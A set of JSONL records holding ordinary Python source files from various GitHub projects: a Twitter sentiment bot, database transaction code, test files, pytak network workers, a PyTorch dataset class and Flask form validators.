+{"seq_id":"15872632118","text":"import csv\nimport os\nfrom tweepy.errors import TweepyException\nfrom tweepy import OAuthHandler, Cursor, API\nimport pandas as pd\nimport re\nimport time \n\n\nROOT_DIR = os.path.dirname(os.path.abspath(__file__)) # This is your Project Root\n\n\nclass BotTwitter:\n def __init__(\n self,\n search_term,\n path_to_login=os.path.join(ROOT_DIR, \"credentials\", \"twitter_login.csv\"),\n language=\"en\",\n ):\n self.search_term = search_term\n self.path_to_login = path_to_login\n self.language = language\n\n # Get tokens\n def getTokens(self):\n credentials = []\n with open(self.path_to_login, \"r\") as file:\n csvreader = csv.reader(file)\n for row in csvreader:\n credentials.append(row)\n # Don't return headers\n return credentials[1]\n\n def authentication(self):\n tokens = self.getTokens()\n try:\n self.auth = OAuthHandler(\n consumer_key=tokens[0],\n consumer_secret=tokens[1],\n access_token=tokens[2],\n access_token_secret=tokens[3],\n )\n self.api = API(self.auth, wait_on_rate_limit=True)\n except:\n print(\"Error : Authentication failed\")\n\n def getTweets(self):\n self.authentication()\n tweets = []\n try:\n for tweet in Cursor(\n self.api.search_tweets,\n q=self.search_term,\n lang=self.language,\n tweet_mode=\"extended\",\n ).items(200):\n tweets.append(\n {\n 'Text':tweet.full_text,\n 'Created_at':tweet.created_at.strftime(\"%Y-%m-%d\")\n }\n )\n except TweepyException as e:\n print(\"Error : \" + str(e))\n if tweets:\n self.df = pd.DataFrame(tweets)\n self.cleanTweets()\n return self.df\n else:\n print(\"Error : Tweets recovery failed. Retry\")\n\n def cleanTweets(self):\n for _, row in self.df.iterrows():\n row[\"Text\"] = re.sub(\"http\\S+\", \"\", row[\"Text\"])\n row[\"Text\"] = re.sub(\"#\\S+\", \"\", row[\"Text\"])\n row[\"Text\"] = re.sub(\"@\\S+\", \"\", row[\"Text\"])\n row[\"Text\"] = re.sub(\"\\\\n\", \"\", row[\"Text\"])\n row[\"Text\"] = re.sub(\"RT\", \"\", row[\"Text\"])\n row[\"Text\"] = re.sub(\" +\", \" \", row[\"Text\"])\n row[\"Text\"] = re.sub(r\"[^\\x00-\\x7F]+\", \" \", row[\"Text\"])\n row[\"Text\"] = row[\"Text\"].lstrip()","repo_name":"JeremYnov/Crypto-Forecast","sub_path":"app/sentiment-analysis/data_sources/bot_twitter.py","file_name":"bot_twitter.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"28855395257","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"wbtools\",\n version=\"0.0.1\",\n author=\"Valerio Arnaboldi\",\n author_email=\"valearna@caltech.edu\",\n description=\"Interface to WB curation data, including literature management and NLP functions\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/valearna/wbtools\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.6',\n install_requires=[\n 'psycopg2-binary',\n 'numpy~=1.19.2',\n 'pdfminer',\n 'fabric~=2.5.0',\n 'gensim~=3.8.3',\n 'nltk~=3.5',\n 'setuptools~=50.3.2'\n ]\n)\n","repo_name":"valearna/wbtools","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"30946875640","text":"#!/usr/bin/env python3\nimport time\nimport random\nimport logging\n\n# I,W ID,D ID,L.\n\ndebug = False\n\n\ndef get_popular_item(conn, w_id, d_id, l):\n start = time.time()\n # print(\"-----Popular Items-----\")\n logging.info(\"-----Popular Items-----\")\n\n if debug:\n print(\"District Indentifier: {}, {}\".format(w_id, d_id))\n print(\"Number of orders to be examined: {}\".format(l))\n print()\n\n logging.info(\"[D_ID, Num_Order]\")\n logging.info(\"{} {}, {}\".format(w_id, d_id, l))\n\n d_next_o_id = get_district(conn, w_id, d_id)\n\n # get o_id of l orders\n get_o_id = int(d_next_o_id) - 1 - int(l)\n\n O_ID_List = []\n for i in range(get_o_id+1, d_next_o_id):\n O_ID_List.append(i)\n\n orders = get_orders(conn, w_id, d_id, O_ID_List)\n\n # list of orders\n items = {}\n for order in orders:\n o_id = order[0]\n c_id = order[1]\n o_entry_d = order[2]\n customer = get_customer(conn, w_id, d_id, c_id)\n if debug:\n print(\"*****Orders Info*****\")\n print(\"Order ID: {}\".format(o_id))\n print(\"Order Entry Date: {}\".format(o_entry_d))\n print(\"Name: {} {} {}\".format(\n customer[0], customer[1], customer[2]))\n print()\n\n logging.info(\"*****Orders Info*****\")\n logging.info(\"[O_ID, O_Entry_D, Name]\")\n logging.info(\"{}, {}, {} {} {}\".format(\n o_id, o_entry_d, customer[0], customer[1], customer[2]))\n\n orderLines = get_max_orderlines(conn, w_id, d_id, o_id)\n\n for orderLine in orderLines:\n i_id = orderLine[0]\n item = get_item(conn, i_id)\n i_name = item[0]\n itemCount = items.get(i_name) if i_name in items else 0\n items.update({i_name: itemCount + 1})\n if debug:\n print(\"Item Name: {}\".format(i_name))\n print(\"Quantity: {}\".format(orderLine[1]))\n print()\n\n logging.info(\"[I_Name, Quantity]\")\n logging.info(\"{}, {}\".format(i_name, orderLine[1]))\n\n setItems = set(items.keys())\n if debug:\n print(\"*****Percentage of Orders*****\")\n logging.info(\"*****Percentage of Orders*****\")\n for item in setItems:\n counter = items.get(item)\n percent = float(counter) / (float(l) * 100.0)\n\n if debug:\n print(\"Item Name: {}\".format(item))\n print(\"Percentage of Orders : {}\".format(percent))\n print()\n logging.info(\"[I_Name, Percentage of Order]\")\n logging.info(\"{}, {}\".format(item, percent))\n\n end = time.time()\n return end - start\n\n\ndef get_district(conn, warehouse_id, district_id):\n with conn.cursor() as cur:\n cur.execute(\n \"Select d_next_o_id from district where d_w_id = %s and d_id = %s\", [warehouse_id, district_id])\n logging.debug(\"make payment(): status message: %s\",\n cur.statusmessage)\n rows = cur.fetchall()\n conn.commit()\n\n for row in rows:\n next_id = row[0]\n\n return next_id\n\n\ndef get_orders(conn, warehouse_id, district_id, order_id_list):\n o_list = tuple(order_id_list)\n with conn.cursor() as cur:\n cur.execute(\n \"Select o_id, o_c_id, o_entry_d from orders where o_w_id = %s and o_d_id = %s and o_id in %s\", [warehouse_id, district_id, o_list])\n logging.debug(\"make payment(): status message: %s\",\n cur.statusmessage)\n rows = cur.fetchall()\n conn.commit()\n\n return rows\n\n\ndef get_customer(conn, warehouse_id, district_id, customer_id):\n with conn.cursor() as cur:\n cur.execute(\n \"Select c_first, c_middle, c_last, c_balance from customer where c_w_id = %s and c_d_id = %s and c_id = %s\", [warehouse_id, district_id, customer_id])\n logging.debug(\"make payment(): status message: %s\",\n cur.statusmessage)\n rows = cur.fetchall()\n conn.commit()\n\n for row in rows:\n cust = row\n\n return cust\n\n\ndef get_max_orderlines(conn, warehouse_id, district_id, order_id):\n ol_quantity = get_max_quantity(conn, warehouse_id, district_id, order_id)\n rows = []\n if len(ol_quantity) > 0:\n with conn.cursor() as cur:\n cur.execute(\n \"Select ol_i_id, ol_quantity from orderline where ol_w_id = %s and ol_d_id = %s and ol_o_id = %s and ol_quantity = %s\", [warehouse_id, district_id, order_id, ol_quantity[0]])\n logging.debug(\"make payment(): status message: %s\",\n cur.statusmessage)\n rows = cur.fetchall()\n conn.commit()\n\n return rows\n\n\ndef get_max_quantity(conn, warehouse_id, district_id, order_id):\n with conn.cursor() as cur:\n cur.execute(\n \"Select ol_quantity from orderline where ol_w_id = %s and ol_d_id = %s and ol_o_id = %s order by ol_quantity desc limit 1\", [warehouse_id, district_id, order_id])\n logging.debug(\"make payment(): status message: %s\",\n cur.statusmessage)\n rows = cur.fetchall()\n conn.commit()\n\n return rows\n\n\ndef get_item(conn, item_id):\n with conn.cursor() as cur:\n cur.execute(\n \"Select i_name from item where i_id = %s\", [item_id])\n logging.debug(\"make payment(): status message: %s\",\n cur.statusmessage)\n rows = cur.fetchall()\n conn.commit()\n\n return rows[0]\n","repo_name":"RnardHa/CS4224s_Wholesale_CockroahDB","sub_path":"PopularItemTransaction.py","file_name":"PopularItemTransaction.py","file_ext":"py","file_size_in_byte":5461,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"1057403391","text":"import tempfile\nfrom pathlib import Path\n\nimport gym\nfrom brute_force import run_brute_force\n\n\ndef test_run_brute_force_smoke_test():\n with tempfile.TemporaryDirectory() as tmp:\n outdir = Path(tmp)\n run_brute_force(\n make_env=lambda: gym.make(\"llvm-ic-v0\", benchmark=\"cbench-v1/crc32\"),\n action_names=[\"-sroa\", \"-mem2reg\"],\n episode_length=2,\n outdir=outdir,\n nproc=1,\n chunksize=2,\n )\n\n assert (outdir / \"meta.json\").is_file()\n assert (outdir / \"results.csv\").is_file()\n","repo_name":"facebookresearch/CompilerGym","sub_path":"examples/brute_force_test.py","file_name":"brute_force_test.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":821,"dataset":"github-code","pt":"78"}
+{"seq_id":"31564924789","text":"from types import SimpleNamespace\n\nimport pytest\n\nfrom syncx import rollback\nfrom syncx import tag\nfrom syncx import untag\nfrom syncx.manager import Manager\nfrom syncx.wrappers import CustomObjectWrapper\nfrom syncx.wrappers import DictWrapper\nfrom syncx.wrappers import ListWrapper\nfrom syncx.wrappers import SetWrapper\n\n\ndef check_callback(wrapped, callback, expected_path=None):\n assert len(callback.calls) == 1\n details = callback.calls[0].args[0]\n assert details.location is wrapped\n assert details.path_to_location == (expected_path or [])\n\n\ndef test_dict(mock_simple):\n wrapped = tag(dict(), mock_simple)\n assert type(wrapped) is DictWrapper\n wrapped['key'] = 'value'\n\n check_callback(wrapped, mock_simple)\n\n\ndef test_list(mock_simple):\n wrapped = tag(list(), mock_simple)\n assert type(wrapped) is ListWrapper\n wrapped.append('value')\n\n check_callback(wrapped, mock_simple)\n\n\ndef test_set(mock_simple):\n wrapped = tag(set(), mock_simple)\n assert type(wrapped) is SetWrapper\n wrapped.add('value')\n\n check_callback(wrapped, mock_simple)\n\n\ndef test_inherited_from_list(mock_simple):\n class CustomList(list):\n pass\n\n custom_list = CustomList()\n assert hasattr(custom_list, '__dict__')\n\n wrapped = tag(custom_list, mock_simple)\n assert type(wrapped) is ListWrapper\n wrapped.append('value')\n\n check_callback(wrapped, mock_simple)\n\n assert wrapped._manager.root_type is CustomList\n\n\ndef test_custom_object(mock_simple):\n wrapped = tag(SimpleNamespace(test='initial value'), mock_simple)\n assert type(wrapped) is CustomObjectWrapper\n wrapped.test = 'value'\n\n check_callback(wrapped.__dict__, mock_simple, ['__dict__'])\n\n assert wrapped._manager.root_type is SimpleNamespace\n\n\ndef test_type(mock_simple):\n wrapped = tag(SimpleNamespace, mock_simple)\n wrapped.test = 'value'\n\n check_callback(wrapped.__dict__, mock_simple, ['__dict__'])\n\n assert wrapped._manager.root_type is SimpleNamespace\n\n\ndef test_multiple_levels(catcher):\n wrapped = tag(SimpleNamespace(data={'key': ['value1']}), catcher.changed)\n wrapped.data['key'].append(set())\n wrapped.data['key'][1].add('value2')\n\n assert catcher.paths == [[], ['key'], ['key', 1]]\n assert catcher.function_names == ['__setitem__', 'append', 'add']\n\n\ndef test_same_object_different_paths(catcher):\n root = tag({'a': {}}, catcher.changed)\n root['b'] = root['a']\n root['a']['aa'] = 1\n root['b']['aa'] = 2\n root['a']['aa'] = 3\n\n assert catcher.paths == [[], ['a'], ['b'], ['a']] # Different paths preserved\n assert root['a'] == root['b'] # But same object\n assert root['b']['aa'] == 3 # Same values\n\n\ndef test_revert_to_regular(catcher):\n wrapped = tag({'a': [{'b'}]}, catcher.changed)\n original = untag(wrapped)\n assert type(original) is dict\n assert type(original['a']) is list\n assert type(original['a'][0]) is set\n\n\n@pytest.mark.parametrize('should_rollback', (False, True))\ndef test_context_manager(mock_func, should_rollback):\n mock_start = mock_func(Manager, 'start_transaction')\n mock_end = mock_func(Manager, 'end_transaction')\n wrapped = tag([])\n\n with wrapped:\n if should_rollback:\n rollback()\n\n assert len(mock_start.calls) == 1\n assert len(mock_end.calls) == 1\n assert mock_end.kwargs == {'do_rollback': should_rollback}\n","repo_name":"mikaelho/syncx","sub_path":"tests/test_wrappers.py","file_name":"test_wrappers.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"37184999158","text":"import asyncio\nimport importlib.util\nimport ipaddress\nimport logging\nimport multiprocessing as mp\nimport queue as _queue\nimport random\n\nfrom typing import Optional, Set, Union\n\nfrom configparser import ConfigParser, SectionProxy\n\nimport pytak\n\ntry:\n import takproto\nexcept ImportError:\n pass\n\n__author__ = \"Greg Albrecht \"\n__copyright__ = \"Copyright 2023 Sensors & Signals LLC\"\n__license__ = \"Apache License, Version 2.0\"\n\n\nclass Worker: # pylint: disable=too-few-public-methods\n \"\"\"Meta class for all other Worker Classes.\"\"\"\n\n _logger = logging.getLogger(__name__)\n if not _logger.handlers:\n _logger.setLevel(pytak.LOG_LEVEL)\n _console_handler = logging.StreamHandler()\n _console_handler.setLevel(pytak.LOG_LEVEL)\n _console_handler.setFormatter(pytak.LOG_FORMAT)\n _logger.addHandler(_console_handler)\n _logger.propagate = False\n logging.getLogger(\"asyncio\").setLevel(pytak.LOG_LEVEL)\n\n def __init__(\n self,\n queue: Union[asyncio.Queue, mp.Queue],\n config: Union[None, SectionProxy, dict] = None,\n ) -> None:\n \"\"\"Initialize a Worker instance.\"\"\"\n self.queue: Union[asyncio.Queue, mp.Queue] = queue\n if config:\n self.config = config\n else:\n config_p = ConfigParser({})\n config_p.add_section(\"pytak\")\n self.config = config_p[\"pytak\"] or {}\n\n if bool(self.config.get(\"DEBUG\")):\n for handler in self._logger.handlers:\n handler.setLevel(logging.DEBUG)\n\n self.min_period = pytak.DEFAULT_MIN_ASYNC_SLEEP\n\n tak_proto_version = int(self.config.get(\"TAK_PROTO\") or pytak.DEFAULT_TAK_PROTO)\n\n if tak_proto_version > 0 and importlib.util.find_spec(\"takproto\") is None:\n self._logger.error(\n \"Failed to use takproto for parsing CoT serialized with protobuf.\\n\"\n \"Try: pip install pytak[with_takproto]\"\n )\n\n self.use_protobuf = tak_proto_version > 0 and importlib.util.find_spec(\n \"takproto\"\n )\n\n async def fts_compat(self) -> None:\n \"\"\"Apply FreeTAKServer (FTS) compatibility.\n\n If the FTS_COMPAT (or PYTAK_SLEEP) config options are set, will async sleep for\n either a given (PYTAK_SLEEP) or random (FTS_COMPAT) time.\n \"\"\"\n pytak_sleep: int = int(self.config.get(\"PYTAK_SLEEP\") or 0)\n if bool(self.config.get(\"FTS_COMPAT\") or pytak_sleep):\n sleep_period: int = int(\n pytak_sleep or (pytak.DEFAULT_SLEEP * random.random())\n )\n self._logger.debug(\"COMPAT: Sleeping for %ss\", sleep_period)\n await asyncio.sleep(sleep_period)\n\n async def handle_data(self, data: bytes) -> None:\n \"\"\"Handle data (placeholder method, please override).\"\"\"\n raise NotImplementedError(\"Subclasses need to override this method\")\n\n async def run(self, number_of_iterations=-1):\n \"\"\"Run this Thread, reads Data from Queue & passes data to next Handler.\"\"\"\n self._logger.info(\"Run: %s\", self.__class__)\n\n # We're instantiating the while loop this way, and using get_nowait(),\n # to allow unit testing of at least one call of this loop.\n while number_of_iterations != 0:\n await asyncio.sleep(self.min_period)\n\n data = None\n\n try:\n data = self.queue.get_nowait()\n except (asyncio.QueueEmpty, _queue.Empty):\n continue\n\n if not data:\n continue\n\n await self.handle_data(data)\n await self.fts_compat()\n\n number_of_iterations -= 1\n\n\nclass TXWorker(Worker): # pylint: disable=too-few-public-methods\n \"\"\"Works data queue and hands off to Protocol Workers.\n\n You should create an TXWorker Instance using the `pytak.txworker_factory()`\n Function.\n\n Data is put onto the Queue using a `pytak.QueueWorker()` instance.\n \"\"\"\n\n def __init__(\n self,\n queue: Union[asyncio.Queue, mp.Queue],\n config: Union[None, SectionProxy, dict],\n writer: asyncio.Protocol,\n ) -> None:\n \"\"\"Initialize a TXWorker instance.\"\"\"\n super().__init__(queue, config)\n self.writer: asyncio.Protocol = writer\n\n async def handle_data(self, data: bytes) -> None:\n \"\"\"Accept CoT event from CoT event queue and process for writing.\"\"\"\n # self._logger.debug(\"TX (%s): %s\", self.config.get('name'), data)\n await self.send_data(data)\n\n async def send_data(self, data: bytes) -> None:\n \"\"\"Send Data using the appropriate Protocol method.\"\"\"\n if self.use_protobuf:\n host, _ = pytak.parse_url(self.config.get(\"COT_URL\", pytak.DEFAULT_COT_URL))\n is_multicast: bool = False\n\n try:\n is_multicast = ipaddress.ip_address(host).is_multicast\n except ValueError:\n # It's probably not an ip address...\n pass\n\n if is_multicast:\n proto = takproto.TAKProtoVer.MESH\n else:\n proto = takproto.TAKProtoVer.STREAM\n\n data = takproto.xml2proto(data, proto)\n\n if hasattr(self.writer, \"send\"):\n await self.writer.send(data)\n else:\n if hasattr(self.writer, \"write\"):\n self.writer.write(data)\n if hasattr(self.writer, \"drain\"):\n await self.writer.drain()\n if hasattr(self.writer, \"flush\"):\n # FIXME: This should be an asyncio.Future?:\n self.writer.flush()\n\n\nclass RXWorker(Worker): # pylint: disable=too-few-public-methods\n \"\"\"Async receive (input) queue worker.\n\n Reads events from a `pytak.protocol_factory()` reader and adds them to\n an `rx_queue`.\n\n Most implementations use this to drain an RX buffer on a socket.\n\n pytak([asyncio.Protocol]->[pytak.EventReceiver]->[queue.Queue])\n \"\"\"\n\n def __init__(\n self,\n queue: Union[asyncio.Queue, mp.Queue],\n config: Union[None, SectionProxy, dict],\n reader: asyncio.Protocol,\n ) -> None:\n \"\"\"Initialize a RXWorker instance.\"\"\"\n super().__init__(queue, config)\n self.reader: asyncio.Protocol = reader\n self.reader_queue = None\n\n async def readcot(self):\n \"\"\"Read CoT from the wire until we hit an event boundary.\"\"\"\n try:\n if hasattr(self.reader, \"readuntil\"):\n cot = await self.reader.readuntil(\"\".encode(\"UTF-8\"))\n elif hasattr(self.reader, \"recv\"):\n cot, _ = await self.reader.recv()\n\n if self.use_protobuf:\n tak_v1 = takproto.parse_proto(cot)\n if tak_v1 != -1:\n cot = tak_v1 # .SerializeToString()\n return cot\n except asyncio.exceptions.IncompleteReadError:\n return None\n\n async def run(self, number_of_iterations=-1) -> None:\n \"\"\"Run this worker.\"\"\"\n self._logger.info(\"Run: %s\", self.__class__)\n\n while 1:\n await asyncio.sleep(self.min_period)\n if self.reader:\n data: bytes = await self.readcot()\n if data:\n self._logger.debug(\"RX: %s\", data)\n self.queue.put_nowait(data)\n\n\nclass QueueWorker(Worker): # pylint: disable=too-few-public-methods\n \"\"\"Read non-CoT Messages from an async network client.\n\n (`asyncio.Protocol` or similar async network client)\n Serializes it as COT, and puts it onto an `asyncio.Queue`.\n\n Implementations should handle serializing messages as COT Events, and\n putting them onto the `event_queue`.\n\n The `event_queue` is handled by the `pytak.EventWorker` Class.\n\n pytak([asyncio.Protocol]->[pytak.MessageWorker]->[asyncio.Queue])\n \"\"\"\n\n def __init__(\n self,\n queue: Union[asyncio.Queue, mp.Queue],\n config: Union[None, SectionProxy, dict],\n ) -> None:\n super().__init__(queue, config)\n self._logger.info(\"COT_URL: %s\", self.config.get(\"COT_URL\"))\n\n async def put_queue(\n self, data: bytes, queue_arg: Union[asyncio.Queue, mp.Queue, None] = None\n ) -> None:\n \"\"\"Put Data onto the Queue.\"\"\"\n _queue = queue_arg or self.queue\n try:\n if isinstance(_queue, asyncio.Queue):\n await _queue.put(data)\n else:\n _queue.put(data)\n except asyncio.QueueFull:\n self._logger.warning(\"Lost Data (queue full): '%s'\", data)\n\n\nclass CLITool:\n \"\"\"Wrapper Object for CLITools.\"\"\"\n\n _logger = logging.getLogger(__name__)\n if not _logger.handlers:\n _logger.setLevel(pytak.LOG_LEVEL)\n _console_handler = logging.StreamHandler()\n _console_handler.setLevel(pytak.LOG_LEVEL)\n _console_handler.setFormatter(pytak.LOG_FORMAT)\n _logger.addHandler(_console_handler)\n _logger.propagate = False\n logging.getLogger(\"asyncio\").setLevel(pytak.LOG_LEVEL)\n\n def __init__(\n self,\n config: Union[ConfigParser, SectionProxy],\n tx_queue: Union[asyncio.Queue, mp.Queue, None] = None,\n rx_queue: Union[asyncio.Queue, mp.Queue, None] = None,\n ) -> None:\n \"\"\"Initialize CLITool instance.\"\"\"\n self.tasks: Set = set()\n self.running_tasks: Set = set()\n self._config = config\n self.queues: dict = {}\n self.tx_queue: Union[asyncio.Queue, mp.Queue] = tx_queue or asyncio.Queue()\n self.rx_queue: Union[asyncio.Queue, mp.Queue] = rx_queue or asyncio.Queue()\n\n if bool(self._config.get(\"DEBUG\") or 0):\n for handler in self._logger.handlers:\n handler.setLevel(logging.DEBUG)\n\n @property\n def config(self):\n return self._config\n\n @config.setter\n def config(self, val):\n self._config = val\n\n async def create_workers(self, i_config):\n \"\"\"Create and run queue workers with specified config parameters.\n\n Parameters\n ----------\n i_config : `configparser.SectionProxy`\n Configuration options & values.\n \"\"\"\n reader, writer = await pytak.protocol_factory(i_config)\n tx_queue = asyncio.Queue()\n rx_queue = asyncio.Queue()\n if len(self.queues) == 0:\n # If the queue list is empty, make this the default.\n self.tx_queue = tx_queue\n self.rx_queue = rx_queue\n write_worker = pytak.TXWorker(tx_queue, i_config, writer)\n read_worker = pytak.RXWorker(rx_queue, i_config, reader)\n self.queues[i_config.name] = {\"tx_queue\": tx_queue, \"rx_queue\": rx_queue}\n self.add_task(write_worker)\n self.add_task(read_worker)\n\n async def setup(self) -> None:\n \"\"\"Set up CLITool.\n\n Creates protocols, queue workers and adds them to our task list.\n \"\"\"\n # Create our TX & RX Protocol Worker\n reader, writer = await pytak.protocol_factory(self.config)\n write_worker = pytak.TXWorker(self.tx_queue, self.config, writer)\n read_worker = pytak.RXWorker(self.rx_queue, self.config, reader)\n self.add_task(write_worker)\n self.add_task(read_worker)\n\n async def hello_event(self):\n \"\"\"Send a 'hello world' style event to the Queue.\"\"\"\n hello = pytak.hello_event(self.config.get(\"COT_HOST_ID\"))\n if hello:\n self.tx_queue.put_nowait(hello)\n\n def add_task(self, task):\n \"\"\"Add the given task to our coroutine task list.\"\"\"\n self._logger.debug(\"Add Task: %s\", task)\n self.tasks.add(task)\n\n def add_tasks(self, tasks):\n \"\"\"Add the given list or set of tasks to our couroutine task list.\"\"\"\n for task in tasks:\n self.add_task(task)\n\n def run_task(self, task):\n \"\"\"Run the given coroutine task.\"\"\"\n self._logger.debug(\"Run Task: %s\", task)\n self.running_tasks.add(asyncio.ensure_future(task.run()))\n\n def run_tasks(self, tasks=None):\n \"\"\"Run the given list or set of couroutine tasks.\"\"\"\n tasks = tasks or self.tasks\n for task in tasks:\n self.run_task(task)\n self.tasks.clear()\n\n async def run(self):\n \"\"\"Run this Thread and its associated coroutine tasks.\"\"\"\n self._logger.info(\"Run: %s\", self.__class__)\n\n await self.hello_event()\n self.run_tasks()\n\n done, _ = await asyncio.wait(\n self.running_tasks, return_when=asyncio.FIRST_COMPLETED\n )\n\n for task in done:\n self._logger.info(\"Complete: %s\", task)\n","repo_name":"snstac/pytak","sub_path":"pytak/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":12605,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"78"}
+{"seq_id":"37127067322","text":"# Generic python libraries\nimport random\nfrom random import sample\n\n# PyTorch and numpy related\nfrom torch.utils.data import Dataset\n\n# External tool (built by us) to format the dataset structure\nfrom utils import load_images, get_class_map, get_processed_img, execution_time\n\nclass SBIRTrainTripletDataset(Dataset):\n \n @execution_time\n def __init__(\n self, sketch_folder_path, sketch_index_file, \\\n image_gallery_folder_path, mapping_file_path, use_triplets = False, sub_sample=None \\\n ):\n\n self.use_triplets = use_triplets\n self.sketches = []\n self.classes = []\n self.negative_classes = []\n self.positive_images = []\n if use_triplets:\n self.negative_images = []\n\n class_map = get_class_map(sketch_folder_path + \"/\" + mapping_file_path)\n structured_images = load_images(image_gallery_folder_path)\n index_file_path = sketch_folder_path + \"/\" + sketch_index_file\n\n with open(index_file_path, \"r\") as sketch_file:\n # Proceded to reduce the size of the source datasets to sub_sample due to hardware limitations\n if sub_sample is not None:\n sketch_lines = random.sample(sketch_file.readlines(), sub_sample)\n else:\n sketch_lines = sketch_file.readlines()\n for line in sketch_lines:\n sketch_path, sketch_idx = line.split()\n sketch_path = sketch_folder_path + \"/\" + sketch_path\n sketch_class = class_map[sketch_idx]\n\n positive_random_image = sample(structured_images[sketch_class], 1)[0]\n positive_image_path = f\"{image_gallery_folder_path}/{sketch_class}/{positive_random_image}\"\n\n self.sketches.append(get_processed_img(sketch_path))\n self.positive_images.append(get_processed_img(positive_image_path))\n self.classes.append(int(sketch_idx))\n\n if use_triplets:\n while True:\n negative_random_class_idx = str(random.randint(0, 249))\n if negative_random_class_idx != sketch_idx:\n\n negative_class = class_map[negative_random_class_idx]\n negative_random_image = sample(structured_images[negative_class], 1)[0]\n negative_image_path = f\"{image_gallery_folder_path}/{negative_class}/{negative_random_image}\"\n self.negative_classes.append(int(negative_random_class_idx))\n self.negative_images.append(get_processed_img(negative_image_path))\n break\n def __len__(self):\n return len(self.sketches)\n\n def __getitem__(self, idx):\n if self.use_triplets:\n return (self.sketches[idx], self.positive_images[idx], self.negative_images[idx]), (self.classes[idx], self.classes[idx], self.negative_classes[idx])\n return (self.sketches[idx], self.positive_images[idx]), (self.classes[idx], self.classes[idx])\n","repo_name":"humbertordrgs/VR_DL_2","sub_path":"utils/sbir_train_triplet_dataset.py","file_name":"sbir_train_triplet_dataset.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"36079662082","text":"import os\nimport sys\n\n\ndef ThrowIfNotAString(obj):\n \"\"\" Raise a TypeError if obj is not a string. \"\"\"\n if str(obj) != obj:\n raise TypeError('%s is not a string!' % str(obj))\n\n\ndef Main(argv):\n \"\"\" Verify that the bench_pictures.cfg file is sane.\n\n - Exec the file to ensure that it uses correct Python syntax.\n - Make sure that every element is a string, because the buildbot scripts will\n fail to execute if this is not the case.\n\n This test does not verify that the well-formed configs are actually valid.\n \"\"\"\n vars = {'import_path': 'tools'}\n execfile(os.path.join('tools', 'bench_pictures.cfg'), vars)\n bench_pictures_cfg = vars['bench_pictures_cfg']\n\n for config_name, config_list in bench_pictures_cfg.iteritems():\n ThrowIfNotAString(config_name) \n for config in config_list:\n for key, value in config.iteritems():\n ThrowIfNotAString(key)\n if type(value).__name__ == 'list':\n for item in value:\n ThrowIfNotAString(item)\n elif not value is True:\n ThrowIfNotAString(value)\n\nif __name__ == '__main__':\n sys.exit(Main(sys.argv))","repo_name":"CyFI-Lab-Public/RetroScope","sub_path":"external/skia/tools/tests/bench_pictures_cfg_test.py","file_name":"bench_pictures_cfg_test.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"78"}
+{"seq_id":"6352924000","text":"from datetime import date, datetime as d\nfrom typing import ValuesView\nfrom flask.helpers import flash\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SelectField, SelectMultipleField, DateTimeField, ValidationError, BooleanField\nfrom wtforms.validators import DataRequired, AnyOf, URL, Regexp\nfrom enum import Enum\nimport phonenumbers\nimport re\n\nclass ShowForm(FlaskForm):\n artist_id = StringField(\n 'artist_id',\n validators=[DataRequired()]\n )\n venue_id = StringField(\n 'venue_id',\n validators=[DataRequired()]\n )\n start_time = DateTimeField(\n 'start_time',\n format=\"%Y-%m-%d %H:%M\",\n default= d.now() \n )\n\n def validate_artist_id(self, artist_id):\n try:\n match = re.search(r'^\\d+$', artist_id.data)\n if not match:\n raise ValueError()\n except (ValueError):\n raise ValidationError(\"The artist id should be a number!\") \n\n def validate_venue_id(self, venue_id):\n try:\n match = re.search(r'^\\d+$', venue_id.data)\n if not match:\n raise ValueError()\n except (ValueError):\n raise ValidationError(\"The venue id should be a number!\") \n\n\n def validate_start_time(self, start_time):\n try:\n startTime = ''\n if start_time.data is not None:\n startTime = start_time.data.strftime(\"%Y-%m-%d %H:%M\")\n\n match = re.search(r\"^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[01]) (2[0-3]|[01][0-9]):[0-5][0-9]$\", startTime)\n if not match:\n raise ValueError(\"Date Fromat should be YYYY-MM-DD HH:MM\") \n elif start_time.data < d.now():\n raise ValueError(\"The date should be a future date!\")\n except (ValueError) as e:\n raise ValidationError(e)\n\n\nclass State(Enum):\n AL = 'AL'\n AK = 'AK'\n AZ = 'AZ'\n AR = 'AR'\n CA = 'CA'\n CO = 'CO'\n CT = 'CT'\n DE = 'DE'\n DC = 'DC'\n FL = 'FL'\n GA = 'GA'\n HI = 'HI'\n ID = 'ID'\n IL = 'IL'\n IN = 'IN'\n IA = 'IA'\n KS = 'KS'\n KY = 'KY'\n LA = 'LA'\n ME = 'ME'\n MT = 'MT'\n NE = 'NE'\n NV = 'NV'\n NH = 'NH'\n NJ = 'NJ'\n NM = 'NM'\n NY = 'NY'\n NC = 'NC'\n ND = 'ND'\n OH = 'OH'\n OK = 'OK'\n OR = 'OR'\n MD = 'MD'\n MA = 'MA'\n MI = 'MI'\n MN = 'MN'\n MS = 'MS'\n MO = 'MO'\n PA = 'PA'\n RI = 'RI'\n SC = 'SC'\n SD = 'SD'\n TN = 'TN'\n TX = 'TX'\n UT = 'UT'\n VT = 'VT'\n VA = 'VA'\n WA = 